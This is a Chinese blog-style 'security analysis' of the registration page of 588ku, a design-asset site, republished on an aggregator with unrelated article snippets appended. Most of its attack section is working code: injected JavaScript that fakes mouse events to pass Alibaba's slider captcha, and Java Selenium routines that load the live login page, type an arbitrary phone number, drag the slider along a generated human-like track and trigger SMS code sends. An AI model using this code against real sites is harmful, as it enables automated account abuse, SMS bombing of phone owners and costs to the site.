【千库网-注册安全分析报告】

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述
    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 千库网PC 注册入口

简介:千库网是上海图魂网络科技有限公司旗下版权素材在线交易网站 ,经过1年多的高速发展,该网站不仅仅拥有500万优质PNG免抠元素,还有300万精品背景素材和700万模板素材。获得超过百万设计师的喜爱和5000多家企业的信赖,网站定位致力于满足全国2000多万设计师素材下载的需求,为设计师提供优质的素材和服务。

在这里插入图片描述

二、 安全性分析报告:

该网站采用的是阿里的滑动条, 阿里的滑动条设计高度重视用户体验,但安全方面存在一定的设计缺陷,前端将密钥显示出来,造成一定程度的安全漏洞,上报后并未引起重视,漏洞依据存在。
在这里插入图片描述

在这里插入图片描述

三、 测试方法:

前端界面分析,这是阿里的滑动条,网上有一些的教学视频,但形式都差不多,
阿里的滑动条有点像程咬金的三板斧,
1 检测是否是 webdriver (有专门的文章怎么过检)
2 滑动条检测
在这里插入图片描述

滑动条在页面嵌JS 就能过去 
<script>(function () {'use strict';/*** 休眠* [url=home.php?mod=space&uid=952169]@Param[/url] time    休眠时间,单位秒* @param desc* @returns {Promise<unknown>}*/function sleep(time, desc) {return new Promise(resolve => {//sleepsetTimeout(() => {console.log(desc, time, 's')resolve(time)}, Math.floor(time * 1000))})}/*** 监测节点是否存在* @param selector    CSS选择器* @param desc* @returns {Promise<unknown>}*/function obsHas(selector, desc) {return new Promise(resolve => {//obs nodelet timer = setInterval(() => {let target = document.querySelector(selector)if (!!target) {clearInterval(timer)console.log(desc, selector)resolve(selector)} else {return}}, 100)})}function slide(id) {var slider = document.getElementById(id),container = slider.parentNode;var rect = slider.getBoundingClientRect(),x0 = rect.x || rect.left,y0 = rect.y || rect.top,w = container.getBoundingClientRect().width,x1 = x0 + w,y1 = y0;var mousedown = document.createEvent("MouseEvents");mousedown.initMouseEvent("mousedown", true, true, window, 0,x0, y0, x0, y0, false, false, false, false, 0, null);slider.dispatchEvent(mousedown);var mousemove = document.createEvent("MouseEvents");mousemove.initMouseEvent("mousemove", true, true, window, 0,x1, y1, x1, y1, false, false, false, false, 0, null);slider.dispatchEvent(mousemove);}sleep(1,'sleep').then(() => obsHas('.nc_wrapper','has')).then(() => slide('nc_1_n1z'))
})();</script>

1. 模拟器交互

private static String INDEX_URL = "https://588ku.com/login";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);String js = "window.localStorage.clear();window.sessionStorage.clear();Login.phoneLogin();";((JavascriptExecutor) driver).executeScript(js);Thread.sleep(500);WebElement tabElement = driver.findElement(By.xpath("//div[text()='手机号登录']"));tabElement.click();// 1 输入手机号WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.id("telphoneNumber"), 10);phoneElemet.sendKeys(phone);// 2 阿里 滑动验证条Thread.sleep(1 * 1000);boolean aliRet = false;boolean isRobot = false;int beginX = 802;int beginY = 423;if (isRobot) {RobotMove.move(beginX, beginY, 460);aliRet = true;} else {aliRet = AliClient.moveExec(driver, 340);retEntity.setMsg("[aliRet=" + aliRet + "]");if (!aliRet) {return retEntity;}}Thread.sleep(1000);// 3 获取验证码WebElement sendElement = ChromeDriverManager.waitElement(driver, By.xpath("//p[contains(text(),'获取验证码')]"), 20);if (sendElement != null) {sendElement.click();}// 4 获取返回提示Thread.sleep(1000);WebElement gtElement = ChromeDriverManager.waitElement(driver, By.xpath("//div/p/[contains(text(),'s后重发')]"), 10);String gtInfo = gtElement != null ? gtElement.getText() : null;retEntity.setMsg("[aliRet=" + aliRet + "]" + gtInfo);if (gtInfo != null && gtInfo.contains("s后重发")) {retEntity.setRet(0);}return retEntity;} catch (Exception e) {System.out.println("phone=" + phone + ",e=" + e.toString());for (StackTraceElement ele : e.getStackTrace()) {System.out.println(ele.toString());}return null;} finally {driver.manage().deleteAllCookies();}}

2. 模拟鼠标移动


public static boolean moveExec(WebDriver driver, String moveId, int distance) {try {// 获取滑动按钮WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.id(moveId), 100);Actions actions = new Actions(driver);actions.moveToElement(moveElemet).perform();Thread.sleep(500);List<Integer> trackList = ActionMove.getTrack(distance);actions.clickAndHold(moveElemet).perform();// 按住鼠标左键不释放for (Integer moveInt : trackList) {actions.moveByOffset(moveInt, 0).perform();// 移动}actions.release(moveElemet).perform();// 释放鼠标左键// 滑动结果By langCntBy = By.className("nc-lang-cnt");WebElement langCntElemet = ChromeDriverManager.waitElement(driver, langCntBy, 50);String langCntInfo = (langCntElemet != null) ? langCntElemet.getText() : null;if (langCntInfo != null && langCntInfo.contains("验证通过")) {return true;} else {System.out.println("AliUtil.moveExec() langCntInfo=" + langCntInfo);return false;}} catch (Exception e) {System.out.println("AliClient.moveExec() e=" + e.toString());return false;}}

3. 轨迹生成(单轴通过)


/*** 根据距离获取滑动轨迹* * @param distance需要移动的距离* @return*/public static List<Integer> getTrack(int distance) {List<Integer> track = new ArrayList<Integer>();// 移动轨迹List<Integer[]> list = getXyTrack(distance);for (Integer[] m : list) {track.add(m[0]);}return track;}/*** 双轴轨道生成算法,主要实现平滑加速和减速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已经移动的距离BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值BigDecimal move = null;// 每次循环移动的距离List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}

4. 测试返回结果:

在这里插入图片描述

四丶结语

千库网是上海图魂网络科技有限公司旗下版权素材在线交易网站 ,经过1年多的高速发展,该网站不仅仅拥有500万优质PNG免抠元素,还有300万精品背景素材和700万模板素材。获得超过百万设计师的喜爱和5000多家企业的信赖,网站定位致力于满足全国2000多万设计师素材下载的需求,为设计师提供优质的素材和服务,作为素材网站提供平台,技术实力雄厚,但在验证产品方面,不是自己研发而是采用第三方的阿里的滑动条, 阿里的产品由于过度重视用户体验, 简单的滑动条特别,模拟器只需要单轴的模拟轨道就可以通过, 说明阿里对轨迹的校验比较宽松,之前的分析显示,阿里主要是靠模拟器识别,如果这道关过了,就没有其它的防护措施了 。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/448027.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

iPad备份软件哪个好?好用的苹果备份软件推荐

苹果手机在将数据备份到电脑时&#xff0c;需要通过第三方的管理软件&#xff0c;才可以将手机连接到电脑进行备份。苹果手机备份软件有很多&#xff0c;常用的有&#xff1a;爱思助手、iMazing、iTuns等。那么这三款常用的备份软件究竟哪款更好呢&#xff1f;下面就给大家盘点…

uniapp学习(004-2 组件 Part.2生命周期)

零基础入门uniapp Vue3组合式API版本到咸虾米壁纸项目实战&#xff0c;开发打包微信小程序、抖音小程序、H5、安卓APP客户端等 总时长 23:40:00 共116P 此文章包含第31p-第p35的内容 文章目录 组件生命周期我们主要使用的三种生命周期setup(创建组件时执行)不可以操作dom节点…

Kimi AI助手重大更新:语音通话功能闪亮登场!

Kimi人工智能助手近日发布了一项令人瞩目的重大更新&#xff0c;其中最引人注目的是新增的语音通话功能。这一创新不仅拓展了用户与AI互动的方式&#xff0c;还为学习和工作场景提供了突破性的解决方案。 Ai 智能办公利器 - Ai-321.com 人工智能 - Ai工具集 - 全球热门人工智能…

使用 python 下载 bilibili 视频

本文想要达成的目标为&#xff1a;运行 python 代码之后&#xff0c;在终端输入视频链接&#xff0c;可自动下载高清 1080P 视频并保存到相应文件夹。 具体可分为两大步&#xff1a;首先&#xff0c;使用浏览器开发者工具 F12 获取请求链接相关信息&#xff08;根据 api 接口下…

性能测试持续继承 CICD

目录 一、如何实现性能测试持续继承操作 下载ant 验证ant是否安装成功 二、jmeterant结合 1、我们需要把jmeter中extres 中的ant-jmeter-1.1.1.jar 复制到ant的安装目录中的lib目录中 2、把jmeter中extres中的build.xml 复制到ant的安装目录中的bin目录 3、编辑build.x…

uniapp 设置 tabbar 的 midButton 按钮

效果展示&#xff1a; 中间的国际化没生效&#xff08;忽略就行&#xff09; 示例代码&#xff1a; 然后在 App.vue 中进行监听&#xff1a; <script>export default {onLaunch(e) {// #ifdef APPuni.onTabBarMidButtonTap(()>{console.log("中间按钮点击回调…

Nacos安装指南

1.Windows安装 开发阶段采用单机安装即可。 1.1.下载安装包 在Nacos的GitHub页面,提供有下载链接,可以下载编译好的Nacos服务端或者源代码: GitHub主页:https://github.com/alibaba/nacos GitHub的Release下载页:https://github.com/alibaba/nacos/releases 如图: …

C1. Adjust The Presentation (Easy Version) 双指针

C1. Adjust The Presentation (Easy Version) 妈呀, 最难读懂的一道题(英语不好) 原题 思路 这道题读懂之后就是双指针. 不难想到只要之前出现过, 就一定可以展示出来, 唯一需要注意的时不能在a里有多余的科幻片 代码 #include <bits/stdc.h> #define int long long…

Python爬虫之正则表达式于xpath的使用教学及案例

正则表达式 常用的匹配模式 \d # 匹配任意一个数字 \D # 匹配任意一个非数字 \w # 匹配任意一个单词字符&#xff08;数字、字母、下划线&#xff09; \W # 匹配任意一个非单词字符 . # 匹配任意一个字符&#xff08;除了换行符&#xff09; [a-z] # 匹配任意一个小写字母 […

牛客:Holding Two,Inverse Pair,Counting Triangles

Holding Two 题目描述 登录—专业IT笔试面试备考平台_牛客网 ​​运行代码 #include<bits/stdc.h> using namespace std; const int N3e45; string s1,s2; int main(){int n,m;cin>>n>>m;for(int i0;i<m;i){if(i&1){s10;s21;} else{s11;s20;} }fo…

jvm内存溢出问题排查Java服务自动停止问题排查

Java服务自动停止&#xff0c;Java服务内存溢出问题解决记录。 过程描述 服务器上的一个项目突然服务不了了&#xff0c;登录服务器一看&#xff0c;服务被停了&#xff0c;第一反应大概率就是内存溢出导致的&#xff0c;结果查看日志没有任何报错&#xff0c;就很奇怪&#…

鸿蒙开发案例:HarmonyOS NEXT语法实现2048

【实现的功能】 • 游戏逻辑&#xff1a;实现了2048游戏的核心逻辑&#xff0c;包括初始化游戏盘面、添加随机方块、处理四个方向的滑动操作等。 • UI展示&#xff1a;构建了游戏的用户界面&#xff0c;显示得分、游戏盘面&#xff0c;并提供了重新开始按钮。 • 用户交互&…

OpenAI 公布了其新 o1 模型家族的元提示(meta-prompt)

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

出处不详 取数游戏

目录 取数游戏题目描述背景输入输出数据范围 题解解法优化 打赏 取数游戏 题目描述 背景 两人将 n n n个正整数围成一个圆环&#xff0c;规则如下&#xff1a; 第一名玩家随意选取数字&#xff1b;第二名玩家从与第一名玩家相邻的两个数字中选择一个&#xff1b;而后依次在…

科技云报到:大模型时代下,向量数据库的野望

科技云报到原创。 自ChatGPT爆火&#xff0c;国内头部平台型公司一拥而上&#xff0c;先后发布AGI或垂类LLM&#xff0c;但鲜有大模型基础设施在数据层面的进化&#xff0c;比如向量数据库。 在此之前&#xff0c;向量数据库经历了几年的沉寂期&#xff0c;现在似乎终于乘着Ch…

python 位运算 笔记

起因&#xff0c; 目的: 位运算&#xff0c;令我头疼的地方。算法题里面也是经常见到。 位运算。 按位或&#xff0c;OR, | , 只要有一个为1&#xff0c; 结果就是1&#xff0c;否则为0按位异或&#xff0c;XOR, ^, 2个数不同&#xff0c;结果为1&#xff0c; 否则为0&#…

一文介绍SQL标准1986~2023的演变

SQL标准1986年制定第一版&#xff0c;到最新的2023版&#xff0c;已经有38年的历史&#xff0c;现在依然是计算机非常活跃的语言&#xff0c;50%的程序员都能掌握SQL&#xff0c;数据分析师也是SQL的主要使用人员之一。 从早期的基本语法&#xff0c;到融合了XML、JSON等复杂数…

【Matlab 六自由度机器人】笛卡尔空间规划和关节空间规划(附MATLAB建模代码)

笛卡尔空间规划和关节空间规划 近期更新前言正文1. 笛卡尔空间规划特点&#xff1a;步骤&#xff1a; 2. 关节空间规划特点&#xff1a;步骤&#xff1a; 3. 两种方法的区别4. MATLAB代码&#xff1a;机械臂避障路径规划问题和解答4.1 关节空间规划方法4.2 笛卡尔空间规划方法4…

Java中关于算数运算符的理解

在Java中基本的算数运算符有五类 加减-乘*在编程语言中乘号一律写为 *除/在Java中两个整数相除结果还是整数取余%取得的是两个数相除的余数 这里可以看见&#xff0c;在输出加法和减法时&#xff0c;我在后面多加了一个括号&#xff0c;这是因为运算优先级的原因&#xff0c;加…

105. 从前序与中序遍历序列构造二叉树【 力扣(LeetCode) 】

文章目录 零、LeetCode 原题一、题目描述二、测试用例三、解题思路四、参考代码 零、LeetCode 原题 105. 从前序与中序遍历序列构造二叉树 一、题目描述 给定两个整数数组 preorder 和 inorder &#xff0c;其中 preorder 是二叉树的先序遍历&#xff0c; inorder 是同一棵树的…